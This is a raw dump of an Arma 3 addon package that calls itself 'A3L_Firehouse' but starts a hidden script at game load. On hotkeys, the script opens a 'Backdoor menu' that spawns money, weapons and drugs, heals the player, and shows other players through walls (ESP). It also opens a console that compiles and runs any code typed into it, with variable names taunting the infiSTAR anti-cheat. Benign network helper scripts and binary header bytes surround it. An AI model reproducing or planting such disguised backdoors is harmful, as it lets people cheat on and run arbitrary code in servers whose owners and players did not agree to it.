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  1. sreV pboprefix a3l_firehouse prefix NP_ItemsDiamond1 BIS_AddonInfo.hpp Q }\Q config.bin Q `\Q config.cpp ‘ }\‘ init.sqf ( `\( memenu.sqf w2 Ż5\w2 f\lsd_nvkeymap.sqf  _H7R network\fn_broadcast.sqf  D×±V network\fn_corpse.sqf D×±V network\fn_HCC.sqf ˛ D×±V˛ network\fn_jumpFnc.sqf Ę D×±VĘ network\fn_netSetVar.sqf S D×±VS network\fn_say3D.sqf ¦ D×±V¦ network\fn_setFuel.sqf * D×±V* network\fn_setTexture.sqf ä D×±Vä class BIS_AddonInfo
  2. {
  3. author="smiley monkey";
  4. timepacked="1544719131";
  5. };
  6. raP  G  CfgPatches W Extended_PreInit_EventHandlers Ç cfgMods  G  A3L_Firehouse p Ç units weapons requiredVersion  requiredAddons  Extended_EventHandlers Ç  DRI_NF_Init DRI_NF_Init_Var = [] execVM "\NP_ItemsDiamond1\init.sqf"   author 76561198109673463  timepacked 1455475951 G #include "BIS_AddonInfo.hpp"
  7. class CfgPatches
  8. {
  9. class A3L_Firehouse
  10. {
  11. units[]={};
  12. weapons[]={};
  13. requiredVersion=1;
  14. requiredAddons[]=
  15. {
  16. "Extended_EventHandlers"
  17. };
  18. };
  19. };
  20. class Extended_PreInit_EventHandlers
  21. {
  22. DRI_NF_Init="DRI_NF_Init_Var = [] execVM ""\NP_ItemsDiamond1\init.sqf""";
  23. };
  24. class cfgMods
  25. {
  26. author="76561198109673463";
  27. timepacked="1455475951";
  28. };
  29. [] execVM "\NP_ItemsDiamond1\memenu.sqf" [] spawn {
  30. while {true} do {
  31.  
  32. if (inputAction "User17" > 0) then
  33. {
  34.  
  35. [] spawn FNmemenu;
  36. waituntil {inputAction "User17" == 0};
  37. };
  38.  
  39.  
  40. };
  41. };
  42.  
  43. FNmemenu = {
  44. removeallactions player;
  45. [] call life_fnc_setupActions;
  46. player addAction ["<t color=""#009933"">Backdoormenu</t>", MenuRPG];
  47. };
  48.  
  49. MenuRPG = {
  50. removeallactions player;
  51. player addAction ["<t color=""#000000"">Zamknij</t>", {removeAllActions player; [] call life_fnc_setupActions;}];
  52. player addAction ["<t color=""#4B0082"">Leczenie</t>", Leczenie];
  53. player addAction ["<t color=""#0000cc"">Bronie + Ubrania</t>", Bronie];
  54. player addAction ["<t color=""#6dc066"">Surki i Narkotyki</t>", Narko];
  55. player addAction ["<t color=""#ff00ff"">Hajs</t>", Hajs];
  56. player addAction ["<t color=""#00b3b3"">Esp2</t>", Esp2];
  57.  
  58. };
  59.  
  60.  
  61. Hajs = {
  62. removeallactions player;
  63. player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
  64. player addAction ["<t color=""#cc0066"">10K</t>", Hajs10K];
  65. player addAction ["<t color=""#cc0066"">50K</t>", Hajs50K];
  66. player addAction ["<t color=""#cc0066"">100K</t>", Hajs100K];
  67. player addAction ["<t color=""#cc0066"">500K</t>", Hajs500K];
  68.  
  69. };
  70.  
  71. Leczenie = {
  72. life_thirst = 100;
  73. life_hunger = 100;
  74. batterylevel = 100;
  75. _elo = player;
  76. _elo setFatigue 0;
  77. _elo setDamage 0;
  78. hint "Pomyślnie uleczono.";
  79.  
  80. };
  81.  
  82. Bronie = {
  83. removeallactions player;
  84. player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
  85. player addAction ["<t color=""#cc0066"">Kamza</t>", Kamza];
  86. player addAction ["<t color=""#cc0066"">Pepe</t>", Pepe];
  87. player addAction ["<t color=""#cc0066"">Deagle</t>", Deagle];
  88. player addAction ["<t color=""#cc0066"">Taurus</t>", Taurus];
  89. player addAction ["<t color=""#cc0066"">Tec</t>", Tec];
  90. player addAction ["<t color=""#cc0066"">FiveSeven</t>", Five7];
  91. player addAction ["<t color=""#cc0066"">Glock</t>", Glock];
  92. player addAction ["<t color=""#cc0066"">Carrier</t>", Carrier];
  93. player addAction ["<t color=""#cc0066"">ColtM4</t>", Kolt];
  94. player addAction ["<t color=""#cc0066"">Kamza 3</t>", Kamza3];
  95. player addAction ["<t color=""#cc0066"">Hk416</t>", Hk416];
  96. player addAction ["<t color=""#cc0066"">CiuchSO</t>", StrojSO];
  97. player addAction ["<t color=""#cc0066"">FNP45</t>", fnp];
  98. player addAction ["<t color=""#cc0066"">Tryk</t>", tryk];
  99. player addAction ["<t color=""#cc0066"">Sert</t>", sert];
  100.  
  101. };
  102.  
  103. Narko = {
  104. removeallactions player;
  105. player addAction ["<t color=""#000000"">~~Powrot do menu~~</t>", MenuRPG];
  106. player addAction ["<t color=""#cc0066"">Heroina</t>", Heroina];
  107. player addAction ["<t color=""#cc0066"">Koka</t>", Koka];
  108. player addAction ["<t color=""#cc0066"">Meta</t>", Meta];
  109. player addAction ["<t color=""#cc0066"">Drewno</t>", Drewno];
  110. player addAction ["<t color=""#cc0066"">Silver</t>", Silver];
  111. player addAction ["<t color=""#cc0066"">Miedz</t>", Miedz];
  112. player addAction ["<t color=""#cc0066"">Zelazo</t>", Zelazo];
  113. player addAction ["<t color=""#cc0066"">Kangur</t>", Kangur];
  114. player addAction ["<t color=""#cc0066"">Stol</t>", stol];
  115. player addAction ["<t color=""#cc0066"">Olej</t>", Olej];
  116. player addAction ["<t color=""#cc0066"">Drugbrick</t>", drugbrick];
  117. player addAction ["<t color=""#cc0066"">Hacking Device</t>", Hacking];
  118. player addAction ["<t color=""#cc0066"">Drill</t>", Drill];
  119. player addAction ["<t color=""#cc0066"">Grapling Hook</t>", Hook];
  120. player addAction ["<t color=""#cc0066"">Kolczaty</t>", kolczaty];
  121.  
  122. };
  123.  
  124. Heroina = {
  125.  
  126. _elo = player;
  127. (unitBackpack _elo) addItemCargo ["CG_Heroin", 2];
  128. };
  129.  
  130. kolczaty = {
  131.  
  132. _elo = player;
  133. (unitBackpack _elo) addItemCargo ["CG_Spikes_Collapsed", 2];
  134. };
  135.  
  136. Miedz = {
  137.  
  138. _elo = player;
  139. (unitBackpack _elo) addItemCargo ["np_copperbar1", 10];
  140. };
  141.  
  142. Silver = {
  143.  
  144. _elo = player;
  145. (unitBackpack _elo) addItemCargo ["np_silverbar1", 10];
  146. };
  147.  
  148. Drewno = {
  149.  
  150. _elo = player;
  151. (unitBackpack _elo) addItemCargo ["NP_Wood", 10];
  152. };
  153.  
  154. Zelazo = {
  155.  
  156. _elo = player;
  157. (unitBackpack _elo) addItemCargo ["np_ironbar1", 10];
  158. };
  159.  
  160. Kangur = {
  161.  
  162. _elo = player;
  163. (unitBackpack _elo) addItemCargo ["NP_kPelt", 2];
  164. };
  165.  
  166. stol = {
  167.  
  168. _elo = player;
  169. (unitBackpack _elo) addItemCargo ["NP_DrugTable", 1];
  170. };
  171.  
  172. drugbrick = {
  173.  
  174. _elo = player;
  175. (unitBackpack _elo) addItemCargo ["CG_DrugBrick", 10];
  176. };
  177.  
  178. Olej = {
  179.  
  180. _elo = player;
  181. (unitBackpack _elo) addItemCargo ["CG_OilCanister", 10];
  182. };
  183.  
  184. Koka = {
  185.  
  186. _elo = player;
  187. (unitBackpack _elo) addItemCargo ["CG_Cocaine", 2];
  188. };
  189.  
  190. Meta = {
  191.  
  192. _elo = player;
  193. (unitBackpack _elo) addItemCargo ["CG_MethBag100", 2];
  194. };
  195.  
  196. Drill = {
  197.  
  198. _elo = player;
  199. (unitBackpack _elo) addItemCargo ["NP_drillitem", 1];
  200. };
  201.  
  202. Hook = {
  203.  
  204. _elo = player;
  205. (unitBackpack _elo) addItemCargo ["CG_MetalWire", 1];
  206. };
  207.  
  208. Hacking = {
  209.  
  210. _elo = player;
  211. (unitBackpack _elo) addItemCargo ["cg_hackingtool", 1];
  212. };
  213.  
  214. Pepe = {
  215.  
  216. _elo = player;
  217. (unitBackpack _elo) addItemCargo ["KA_Vityaz", 1];
  218. (unitBackpack _elo) addItemCargo ["KA_Vityaz_PBS_1_Silencer", 1];
  219. (unitBackpack _elo) addItemCargo ["KA_30Rnd_9x19_7N31_AP_Mag", 5];
  220. };
  221.  
  222. Deagle = {
  223.  
  224. _elo = player;
  225. (unitBackpack _elo) addItemCargo ["RH_Deagles", 1];
  226. (unitBackpack _elo) addItemCargo ["RH_7Rnd_50_AE", 8];
  227. };
  228.  
  229. Taurus = {
  230.  
  231. _elo = player;
  232. (unitBackpack _elo) addItemCargo ["RH_bull", 1];
  233. (unitBackpack _elo) addItemCargo ["RH_6Rnd_454_Mag", 8];
  234. };
  235.  
  236.  
  237. Tec = {
  238.  
  239. _elo = player;
  240. (unitBackpack _elo) addItemCargo ["RH_tec9", 1];
  241. (unitBackpack _elo) addItemCargo ["RH_32Rnd_9x19_tec", 8];
  242. };
  243.  
  244. Five7 = {
  245.  
  246. _elo = player;
  247. (unitBackpack _elo) addItemCargo ["RH_fn57", 1];
  248. (unitBackpack _elo) addItemCargo ["RH_20Rnd_57x28_FN", 10];3
  249. };
  250.  
  251. Glock = {
  252.  
  253. _elo = player;
  254. (unitBackpack _elo) addItemCargo ["RH_g19t", 1];
  255. (unitBackpack _elo) addItemCargo ["RH_33Rnd_9x19_g18", 10];
  256. };
  257.  
  258. Kamza = {
  259.  
  260. _elo = player;
  261. (unitBackpack _elo) addItemCargo ["TAC_PBDFG2_CY_1", 1];
  262. };
  263.  
  264. Kolt = {
  265.  
  266. _elo = player;
  267. (unitBackpack _elo) addItemCargo ["KA_M4A1_F", 1];
  268. (unitBackpack _elo) addItemCargo ["150Rnd_556x45_Drum_Mag_Tracer_F", 4];
  269. (unitBackpack _elo) addItemCargo ["optic_Arco", 1];
  270. (unitBackpack _elo) addItemCargo ["Bipod_MOE_Grip_MOE_Stock_Black", 1];
  271. (unitBackpack _elo) addItemCargo ["KA_30Rnd_556x45_Mk318", 5];
  272. };
  273.  
  274. Hk416 = {
  275.  
  276. _elo = player;
  277. (unitBackpack _elo) addItemCargo ["hlc_rifle_416D10", 1];
  278. (unitBackpack _elo) addItemCargo ["hlc_30rnd_556x45_SOST", 10];
  279. (unitBackpack _elo) addItemCargo ["bipod_02_F_blk", 1];
  280. (unitBackpack _elo) addItemCargo ["optic_Arco", 1];
  281. };
  282.  
  283. fnp = {
  284.  
  285. _elo = player;
  286. (unitBackpack _elo) addItemCargo ["RH_fnp45", 1];
  287. (unitBackpack _elo) addItemCargo ["RH_15Rnd_45cal_fnp", 10];
  288. (unitBackpack _elo) addItemCargo ["RH_gemtech45", 1];
  289. (unitBackpack _elo) addItemCargo ["RH_docter", 1];
  290. };
  291.  
  292. Kamza3 = {
  293.  
  294. _elo = player;
  295. (unitBackpack _elo) addItemCargo ["TAC_PBDFG2_CY_1", 1];
  296. };
  297.  
  298.  
  299. tryk = {
  300.  
  301. _elo = player;
  302. (unitBackpack _elo) addItemCargo ["TRYK_U_B_BLKBLK_R_CombatUniform", 1];
  303. };
  304.  
  305.  
  306. sert = {
  307.  
  308. _elo = player;
  309. (unitBackpack _elo) addItemCargo ["prp_SO_Lieutenant_fto_SERT", 1];
  310. };
  311.  
  312. StrojSO = {
  313.  
  314. _elo = player;
  315. (unitBackpack _elo) addItemCargo ["sl_client_c_pduniform_so_deputy_W", 1];
  316. };
  317.  
  318. Hajs10K = {
  319. _amount = 10000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
  320. };
  321.  
  322. Hajs50K = {
  323. _amount = 50000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
  324. };
  325.  
  326. Hajs100K = {
  327. _amount = 100000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
  328. };
  329.  
  330. Hajs500K = {
  331. _amount = 500000 + (count currentcop * 1000);[_amount] call Client_fnc_addBank;
  332. };
  333.  
  334. Esp2 = {
  335.  
  336. if (isnil("majcziesp")) then {
  337. majcziesp = 0;
  338. };
  339. if (majcziesp == 0) then {
  340. majcziesp = 1;
  341. hint "ESP ON";
  342. } else {
  343. majcziesp = 0;
  344. hint "ESP OFF";
  345. };
  346. if (majcziesp == 1) then {
  347. onEachFrame {
  348. _l49 = nearestobjects[player, ["CAManBase"], 1400]; {
  349. if ((side _x != side player) && (getPlayerUID _x != "") && ((player distance _x) < 1400)) then {
  350. drawIcon3D["", [1, 0, 0, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
  351. } else {
  352. if ((getPlayerUID _x != "") && ((player distance _x) < 1000)) then {
  353. drawIcon3D["", [0, 0.5, 1, 1], [visiblePosition _x select 0, visiblePosition _x select 1, (getPosATL _x select 2) + 1], 0.1, 0.1, 45, (format["%2 : %1m", round(player distance _x), name _x]), 1, 0.04, "TahomaB"]
  354. };
  355. };
  356. }
  357. foreach playableUnits;
  358. };
  359. } else {
  360. onEachFrame {
  361. nil
  362. };
  363. };
  364. };
  365.  
  366. majczi = {
  367. _majczigod = {findDisplay 24};
  368. createDialog "RscDisplayChat";
  369.  
  370. majczii = {
  371. _majczi_majczi_textField = "";
  372. _majczi_majczi_textField = ctrlText MajcziSaysHelloToEveryoneAtInfiStar_TextBox;
  373. for "_i" from 1 to 1 do compile _majczi_majczi_textField;
  374. };
  375. _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack = (call _majczigod) ctrlCreate ["IGUIBack", 2200];
  376. _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlSetPosition [0.417492 * safezoneW + safezoneX,0.224899 * safezoneH + safezoneY,0.149531 * safezoneW,0.132 * safezoneH];
  377. _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlSetBackgroundColor [0.271,0.047,0.91,1];
  378. _MajcziSaysHelloToEveryoneAtInfiStar_GuiBack ctrlCommit 0;
  379.  
  380. _MajcziSaysHelloToEveryoneAtInfiStar_Button = (call _majczigod) ctrlCreate ["RscButton", 1600];
  381. _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetText "Backdoor menu by VN";
  382. _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetPosition [0.417492 * safezoneW + safezoneX, 0.224899 * safezoneH + safezoneY, 0.149546 * safezoneW, 0.0330121 * safezoneH];
  383. _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlSetTextColor [0.29,0.988,1,1];
  384. _MajcziSaysHelloToEveryoneAtInfiStar_Button ctrlCommit 0;
  385.  
  386. MajcziSaysHelloToEveryoneAtInfiStar_TextBox = (call _majczigod) ctrlCreate ["RscEdit", 1400];
  387. MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlSetPosition [0.422648 * safezoneW + safezoneX, 0.279919 * safezoneH + safezoneY, 0.139233 * safezoneW, 0.0330121 * safezoneH];
  388. MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlSetText "hint ""Wykonano polecenie."";";
  389. MajcziSaysHelloToEveryoneAtInfiStar_TextBox ctrlCommit 0;
  390.  
  391. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo = (call _majczigod) ctrlCreate ["RscButton", 1601];
  392. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetText "EXEC";
  393. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetPosition [0.422648 * safezoneW + safezoneX, 0.312931 * safezoneH + safezoneY, 0.139233 * safezoneW, 0.0330121 * safezoneH];
  394. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlSetTextColor [0.29,0.988,1,1];
  395. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo buttonSetAction "[]spawn majczii;";
  396. _MajcziSaysHelloToEveryoneAtInfiStar_ButtonTwo ctrlCommit 0;
  397. };
  398. [] spawn {
  399. while {true} do {
  400. if (inputAction "User11" > 0) then
  401. {
  402. waitUntil{inputAction "User11" > 0};
  403. [] spawn majczi;
  404. waitUntil{inputAction "User11" == 0};
  405. };
  406. };
  407. };
  408.  
  409.  
  410.  
  411.  
  412.  
  413.  
  414.  
  415.  
  416.  
  417.  
  418.  
  419. #define PAGE_UP 201
  420. #define PAGE_DOWN 209
  421. #define MAX_SENSITIVITY 1
  422. #define MIN_SENSITIVITY 20
  423. #define INCREMENT 1
  424.  
  425. private ["_ctrlID", "_dikCode", "_shift", "_ctrl", "_alt", "_handled"];
  426.  
  427. _ctrlID = _this select 0;
  428. _dikCode = _this select 1;
  429. _shift = _this select 2;
  430. _ctrl = _this select 3;
  431. _alt = _this select 4;
  432. _handled = false;
  433.  
  434.  
  435. // if there's a dialog or map up, or there is no nv, just quit
  436. // shift is required now
  437. if ( dialog || visibleMap || !lsd_nvOn || !_shift) exitWith { false };
  438.  
  439.  
  440. switch ( _dikCode ) do
  441. {
  442. case PAGE_UP:
  443. {
  444. if ( lsd_nvSensitivity > MAX_SENSITIVITY ) then
  445. {
  446. lsd_nvSensitivity = lsd_nvSensitivity - INCREMENT;
  447. _handled = true;
  448. };
  449. };
  450. case PAGE_DOWN:
  451. {
  452. if ( lsd_nvSensitivity < MIN_SENSITIVITY ) then
  453. {
  454. lsd_nvSensitivity = lsd_nvSensitivity + INCREMENT;
  455. _handled = true;
  456. };
  457. };
  458. };
  459.  
  460. if ( _handled ) then
  461. {
  462. if ( lsd_nvSensitivity == 20 ) then // go to auto mode
  463. {
  464. setAperture -1;
  465. } else // manual mode
  466. {
  467. setAperture ( lsd_nvSensitivity / 2);
  468. };
  469.  
  470. playSound "Counter";
  471.  
  472. 1000 cutRsc ["LSD_Rsc_nvHint","PLAIN"];
  473. ((uiNamespace getVariable "LSD_Rsc_nvHint") displayCtrl 1) ctrlSetStructuredText parseText(lsd_nvSensitivityBar select lsd_nvSensitivity);
  474. };
  475.  
  476.  
  477. _handled
  478.  
  479. if(!hasInterface) exitWith {};
  480. private["_type","_message"];
  481. _type = param [0,0,[[],0]];
  482. _message = param [1,"",[""]];
  483. if(_message == "") exitwith {};
  484.  
  485. [format["%1",_message], false] spawn domsg;/*
  486. File: fn_HCC.sqf
  487. Author: Steven Campbell
  488. Headless Client Check
  489. */
  490. _result = 2;
  491. if(!isNil("life_HC_isActive") && {life_HC_isActive}) then {
  492. _result = hc_1;
  493. };
  494. _result;/*
  495. File: fn_jumpFnc.sqf
  496.  
  497.  
  498. Description:
  499. Makes the target jump.
  500. */
  501.  
  502. params [["_unit", objNull, [objNull]], ["_run", true, [false]], "_vel", "_dir", "_v1", "_v2", "_anim"];
  503. if(isNull _unit) exitWith {}; //Bad data
  504. if(local _unit && !_run) exitWith {}; //Ahh
  505. if(animationState _unit isEqualTo "AovrPercMrunSrasWrflDf_amovpercmsprsnonwnondf_amovppnemstpsnonwnondnon") exitWith {};
  506. if(animationState _unit isEqualTo "amovpercmsprsnonwnondf_amovppnemstpsnonwnondnon") exitWith {};
  507. if(animationState _unit isEqualTo "AovrPercMrunSrasWrflDf") exitWith {};
  508. _velocity = velocity _unit;
  509.  
  510. if(local _unit) then {
  511. _v1 = 3.82;
  512. _v2 = .4;
  513. _dir = direction player;
  514. _vel = velocity _unit;
  515. _unit setVelocity[(_vel select 0)+(sin _dir*_v2),(_vel select 1)+(cos _dir*_v2),(_vel select 2)+_v1];
  516. };
  517.  
  518. _anim = animationState _unit;
  519. _unit switchMove "AovrPercMrunSrasWrflDf";
  520. if(local _unit) then {
  521. waitUntil{animationState _unit != "AovrPercMrunSrasWrflDf"};
  522. _unit switchMove _anim;
  523. };/*
  524. File: fn_netSetVar.sqf
  525.  
  526.  
  527. Description:
  528. Set a variable on a client.
  529. */
  530. disableSerialization;
  531. params [["_varName", "", [""]], ["_value",-9999,[sideUnknown,"",[],{},false,0,ObjNull,GrpNull,displayNull]], ["_ns", missionNamespace, [missionNamespace]]];
  532.  
  533. if(_varName == "") exitWith {}; //Error checking
  534. _ns setVariable[_varName,_value];private["_object","_sound"];
  535. _object = param [0,ObjNull,[ObjNull]];
  536. _sound = param [1,"",[""]];
  537.  
  538. if(isNull _object OR _sound == "") exitWith {};
  539. _object say3D _sound;(_this select 0) setFuel (_this select 1);private["_object","_index","_texture"];
  540. _object = param [0,ObjNull,[ObjNull]];
  541. _index = param [1,0,[0]];
  542. _texture = param [2,"",[""]];
  543.  
  544. if(isNull _object OR _texture == "") exitWith {};
  545. _object setObjectTexture[_index,_texture]; VMĘŃŚuV/LŰAĽ*X@ł<|‚o
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